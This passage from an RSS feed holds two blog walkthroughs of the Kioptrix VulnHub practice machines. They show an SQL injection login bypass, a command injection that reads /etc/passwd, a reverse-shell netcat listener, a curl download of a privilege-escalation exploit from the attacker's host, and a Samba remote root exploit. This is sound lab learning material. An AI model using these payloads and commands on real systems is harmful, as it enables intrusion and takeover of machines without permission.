href="http://www.linkedin.com/in/krish-sheth-a661992b5"><strong><em> Link</em></strong></a></p><p>Kioptrix Level 1.1 ..<a href="https://medium.com/@krishsheth23/kioptrix-level-1-1-2-vulnhub-walkthrough-by-krish-sheth-b702e870211a">Link</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf3df3c5bdeb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix: Level 1.1 (#2) | VulnHub Walkthrough by Krish Sheth.]]></title>
            <link>https://medium.com/@krishsheth23/kioptrix-level-1-1-2-vulnhub-walkthrough-by-krish-sheth-b702e870211a?source=rss-f4201c14d60b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b702e870211a</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ceh-certification]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[kioptrix]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Krish Sheth]]></dc:creator>
            <pubDate>Fri, 19 Jul 2024 08:22:19 GMT</pubDate>
            <atom:updated>2024-07-19T08:22:19.730Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a full walkthrough for the Kioptrix Level 1.1 (#2) machine from VulnHub. In this blog i have shown ways to gain root access. And complete the objective for this machine.</p><p>After Turning on the Kioptrix machine ,First i will use <strong>netdiscover</strong> command to find out about the machine ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*nAW-PLfqQfHN3nVxYCA3tA.png" /></figure><p>As I have opened the Kioptrix Machine in my Vmware here we can see the Machine Ip adress which is <em>192.168.29.46</em></p><p>Next we will use <strong><em>nmap</em></strong> command to find out more about the target ip this will help us to know the open ports and the version they are running on.</p><p>As we are scanning we could the<em> Agressive </em>scan on the target ip.</p><p>We will use<strong> nmap-A (target ip)</strong> command to do the agressive scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKKvl5Cxd7QkzK2j6jphhQ.png" /></figure><p>Seeing ports 80/443 my immediate reaction is to open browser and have a look at the web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_vwYywkyaQa2qNXH4tlG3Q.png" /></figure><p>Here this is the web page here we have a login page .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*QELfWPrIxAJJvtYuIpEq8A.png" /></figure><p>Since in the nmap scan we can see that mysql port is also open, we can attempt for SQL-Injection on the login page .</p><p>For SQL injection we will write this code</p><p><strong><em>‘ OR ‘1’ = ‘1</em></strong></p><p>Here : - username = &#39;&#39; evaluates to false.</p><ul><li>&#39;1&#39; = &#39;1&#39; is always true.</li><li>Because the OR condition is true, the entire WHERE clause evaluates to true regardless of the actual username and password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*p6shAN3Pec_8w7bXKe7FnA.png" /></figure><p>Here on place of username and password we will write <strong><em>‘ OR ‘1’ = ‘1</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*ZHjnbtFx8hF_nvE1SHx38w.png" /></figure><p>Here we got the option to ping any machine so we will ping my Ip .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*SkfOZXKv6mtSfmIKlhCRSA.png" /></figure><p>As we can see here that it has ping my Ip . This gives us the possiblity of <strong><em>Remote Code Execution [ RCE].</em></strong></p><p>In order to see weather RCE is possible or not we will check wheather</p><p><strong><em>ping 127.0.0.1; cat /etc/passwd </em></strong>command works or not .</p><p>Here This results in both the ping command and the cat /etc/passwd command being executed. The output of the cat /etc/passwd command will then be displayed, showing the contents of the /etc/passwd file.</p><p>The /etc directory in Unix-like operating systems contains system-wide configuration files and the command <strong>/etc/passwd</strong>: Contains user account information.So after typing command we are expected to get user information and if we are successfull in getting that then it means that we can perfrom RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*gZnjsZeMbLKzCGYO6rP6ZA.png" /></figure><p>Here after writing this command we got the user information .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*FDct0JOnBQoOni6ZwKbGcA.png" /></figure><p>So now we need to make reverse shell so we will go online and will search for reverse shell generator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnI7qV5bVoCMzHcw-2srVA.png" /></figure><p>Here we will write our kali&#39;s Ip address and any port number.</p><p>In kali to know our Ip we will use ifconfig command .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*iF-CqVjAojAR7Jn9i01zzw.png" /></figure><p>Here we can se we got out Ip which is <strong><em>192.168.0.126 .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*bzAU5XOqKccPBmg5RKFx1A.png" /></figure><p>Here we got our code now we will paste this code and we will establish a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*hE_M24E9CofJIRtkfM_uxg.png" /></figure><p>Now to check wheather we have establish our connection or not we will go in kali and we will write<strong><em> nc -lnvp 9001.</em></strong></p><ul><li><strong>nc</strong>: This is the Netcat command.</li><li><strong>-l</strong>: Tells Netcat to listen for an incoming connection.</li><li><strong>-n</strong>: Prevents Netcat from performing DNS lookups on the IP addresses.</li><li><strong>-v</strong>: Enables verbose mode, providing more detailed output about the connection.</li><li><strong>-p 9001</strong>: Specifies the port number (9001) on which Netcat should listen for incoming connections</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*HSBdXasoqVriyf-EEGKY5A.png" /></figure><p>Here we can see we have establish reverse shell .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/193/1*nLjzeA1lrTAoXvXCV7jjiA.png" /></figure><p>Here we wrote <strong><em>whoami</em></strong> command to check that we are not root and that we have to now attempt to escalate our privileges.</p><p>Here we will check system details by writing :-</p><p><strong><em>uname -a </em></strong>command - <strong>uname</strong>: This is the command to print system information.<strong>-a</strong>: This option tells uname to print all available system information.</p><p><strong><em>cat /etc/*-release command - </em></strong>The command cat /etc/*-release is used to display the contents of any files in the /etc directory that match the pattern *-release. These files typically contain information about the operating system and its version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*rkhNvz1qC27zpTt3zZp9nA.png" /></figure><p>So here we can see that it is running on <strong><em>centOs - 4.5 version</em></strong></p><p>Now we will search for exploits for CentOs 4 . we will use</p><p><strong><em>searchsploit centos 4.</em></strong> command here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_0Fne88tdUjh-qMUepAg_w.png" /></figure><p>Here we got our exploit for Local Privillege Escalation.</p><p>We will download our exploit by using <strong><em>searchsploit-p</em></strong> command here<em> -p</em> stands for <em>path .</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bwhf20ZMwb6OCu1LhLjHmg.png" /></figure><p>Here we can see that we have downloaded our Exploit and we have got the path here. First I made a folder into my Desktop with the name Exploit now i will copy my exploit there .</p><p><em>(I have done this because further when we will create python server we can just go inside the that folder and create our server there so that on the victim machine we can download our exploit)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*6hvWTfamy1fwetv2mUa0tA.png" /></figure><p>Now lets go inside that folder and make a python server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*1TTSxsTewotDRzPgityXBA.png" /></figure><p>Here I have made my Python server now we will go to victim machine and there we will download it .</p><p>we download the file using following curl command</p><p><strong><em>curl </em></strong><a href="http://192.168.0.126:8593/9545.c"><strong><em>http://192.168.0.126:8593/9545.c</em></strong></a><strong><em> -o /tmp/9545.c</em></strong></p><p>Here’s the breakdown of the command:</p><ul><li>http://192.168.0.126:8593/9545.c is the URL pointing to the file on your server.</li><li>-o /tmp/9545.c specifies the output file location.</li></ul><blockquote><em>[The curl command is a versatile tool used to transfer data from or to a server using various protocols such as HTTP, HTTPS, FTP, and more. It is commonly used for downloading files, sending data]</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*tpb3pS-zDjfineivaidSoA.png" /></figure><p>Here on victim machine we have downloaded the Exploit .</p><p>When i used <strong><em>ls - la /tmp</em></strong> command ... i can see the exolit inside the tmp folder into the victim machine .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/261/1*U0tlnu8JgZV14PEtkWeaXQ.png" /></figure><p>First now lets go into the tmp folder my writing <strong><em>cd /tmp</em></strong> command.</p><p>Here 9545.c is a file written in C language now we have to compile the C code . We will use gcc to transform source code written in a high-level programming language into machine code that can be executed by the computer.</p><p>We will use <strong><em>gcc -o Exploit 9545.c command .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*b4smDU1ytjKq3m-Ze9UdhA.png" /></figure><p>Now we use ls - la command to check out the tmp folder .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*uPwuZj0qJc_smHOGZccdpg.png" /></figure><p>Here we can see our Exploit . We can see that</p><p>-rwxr-xr-x 1 apache apache 6762 Jul 19 00:47 Exploit</p><ul><li><strong>-</strong>: This indicates a regular file.</li><li><strong>rwxr-xr-x</strong>: These are the permissions for the file.</li><li><strong>rwx</strong> (owner permissions): The owner (apache) has read (r), write (w), and execute (x) permissions.</li><li><strong>r-x</strong> (group permissions): The group (apache) has read (r) and execute (x) permissions, but no write (w) permissions.</li><li><strong>r-x</strong> (others&#39; permissions): Others have read (r) and execute (x) permissions, but no write (w) permissions.</li></ul><p>To get the executable rights we will use <strong><em>chmod 755 Exploit command .</em></strong></p><blockquote>Breakdown of chmod 755</blockquote><ul><li><strong>7</strong>: Permissions for the file owner (user).</li><li><strong>5</strong>: Permissions for the group.</li><li><strong>5</strong>: Permissions for others</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*4xCI6sT9fgu_xrMaMwsVXQ.png" /></figure><p>Now here we have given executable rights to our Exploit file . Now we will run our Exploit by typing <strong><em>./Exploit</em></strong> command .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/263/1*EOf2iiSpcxlnxp6q4v5bEQ.png" /></figure><p>Now we will again write <strong><em>whoami</em></strong> command to check weather the exploit has runned successfully or not and also to check weather we are <em>root</em> user or not .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*hpQuFo9_WoygwxJWJSGiXQ.png" /></figure><p>And we are root !</p><p>This was the goal for this machine .</p><p>This means that We successfully completed <strong><em>Kioptrix Level 1.1 ;)</em></strong></p><p>My Linkden<a href="http://www.linkedin.com/in/krish-sheth-a661992b5"><strong><em> Link</em></strong></a></p><p>Kioptrix Level 1 ..<a href="https://medium.com/@krishsheth23/kioptrix-level-1-1-vulnhub-walkthrough-by-krish-sheth-921a309fa24a">Link</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b702e870211a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix: Level 1 (#1) | VulnHub Walkthrough by Krish Sheth]]></title>
            <link>https://medium.com/@krishsheth23/kioptrix-level-1-1-vulnhub-walkthrough-by-krish-sheth-921a309fa24a?source=rss-f4201c14d60b------2</link>
            <guid isPermaLink="false">https://medium.com/p/921a309fa24a</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[kioptrix]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Krish Sheth]]></dc:creator>
            <pubDate>Mon, 08 Jul 2024 09:29:29 GMT</pubDate>
            <atom:updated>2024-07-08T09:29:29.307Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Kioptrix Level 1</strong> is the first in a series of vulnerable virtual machines (VMs) designed for practicing penetration testing and honing cybersecurity skills. These VMs are created by the Kioptrix team and are available for download on platforms like VulnHub. Each Kioptrix VM presents various vulnerabilities that can be exploited using different techniques and tools.</p><p>After Turning on the Kioptrix machine ,First i will use <strong>netdiscover</strong> command to find out about the machine ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*4QuaWPQXJZvLx3P4-rvjsg.png" /><figcaption>Netdiscover command</figcaption></figure><p>As I have opened the Kioptrix Machine in my Vmware here we can see the Machine Ip adress which is <em>192.168.0.145 .</em></p><p>Next we will use <strong><em>nmap</em></strong> command to find out more about the target ip this will help us to know the open ports and the version they are running on.</p><p>As we are scanning we could the<em> Agressive </em>scan on the target ip.</p><p>We will use<strong> nmap-A (target ip)</strong> command to do the agressive scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*HVByMB5A1Qfg0BfN4bd1lQ.png" /></figure><p>As we can see here it is running <strong><em>Samba service</em></strong> on <strong>139 </strong>port using <em>TCP</em> protocol .</p><p>Then we will use <strong><em>enum4linux</em></strong> ( is a tool for enumerating information from Windows and Samba systems) .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*NSGDJqcNL5dHEzt7yOA9Aw.png" /></figure><ol><li>We got to know that it is running <strong>Samba</strong> .But We dont know the version it is running on.</li><li>In order to identify what version of Samba is running on Kioptrix, we can use a specific module in the Metasploit Framework. This is the <strong><em>auxiliary/scanner/smb/smb_version </em></strong>module. We can search for it in Metasploit as shown below:</li><li>The specific module you’re referring to, <strong>auxiliary/scanner/smb/smb_version</strong>, is used to scan a target machine to determine the version of the SMB (Server Message Block) protocol that is running.</li><li>Now we will open msfconsole and we will search for smb version</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8wwFgyU4YioICddDX9TaIg.png" /></figure><p>Now as we can see here we will use 16 module for service version detections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*itGHDRPeVGFcnfp8XyNOEQ.png" /></figure><p>Now we will write show options this will give us the options to set host and port this will help us to run the exploit on the kioptrix machine ip .</p><p>Here we set the rhost to kioptrix ip and rport to the tcp port where the Samba was running and after running it we got the Version for Samba which is Samba 2.2.1a.</p><p>After exiting Metasploit, we will issue a <em>searchsploit Samba 2.2</em>.1a. This will show all the existing exploits on the Exploit Database for Samba 2.2.1a.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zYwVt0Xl9LSKbLDJKua3Gg.png" /></figure><p>We will use the multiple/remote/10.c exploit. This exploit will take advantage of the old version of Samba running to grant us root privileges on the machine.</p><p>Now will download this to our system ,we can use the <em>searchsploit -m multiple/remote/10.c</em> command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*QRIjWbbHEY82fVHXyPO6pQ.png" /></figure><p>Here when we runned ls comand we can see that 10.c is in our system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7AYHkXMti4kFqKghyxmfg.png" /></figure><p>Here 10.c is a file written in C language now we have to compile the C code . We will use gcc to transform source code written in a high-level programming language into machine code that can be executed by the computer.</p><p>We will use<strong><em> gcc -o Samba 10.c</em></strong> command .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LsivJnEUkS8C0N21GbbgWg.png" /></figure><p>Now we have seen here we have convert 10.c into file Named as Samba</p><p>We now see that the file has turned green, meaning that we can run the file against the kioptrix machine. We can run it by <strong><em>./Samba </em></strong>command to see available options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*hNwYT7ExQlYKDI5C8a8_AA.png" /></figure><p>Here After opening the Samba code we can see we have various options we can perfom.</p><p>We will use the <em>-b</em> option for bruteforcing, 0 as we’re attacking a Linux system, and finally the IP address of the machine .</p><p>We will use <strong><em>./Samba -b 0 192.168.29.227 </em></strong>command and will do bruteforce.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*EOP2XcGUG6rCBKn7wuelxw.png" /></figure><p>Here after doing bruteforce i ran whoami command.</p><p>As we can see here after running whoami command we saw the output of root which means that we are the root user. This was the goal for this machine .</p><p>This means that We successfully completed <strong><em>Kioptrix Level 1</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=921a309fa24a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>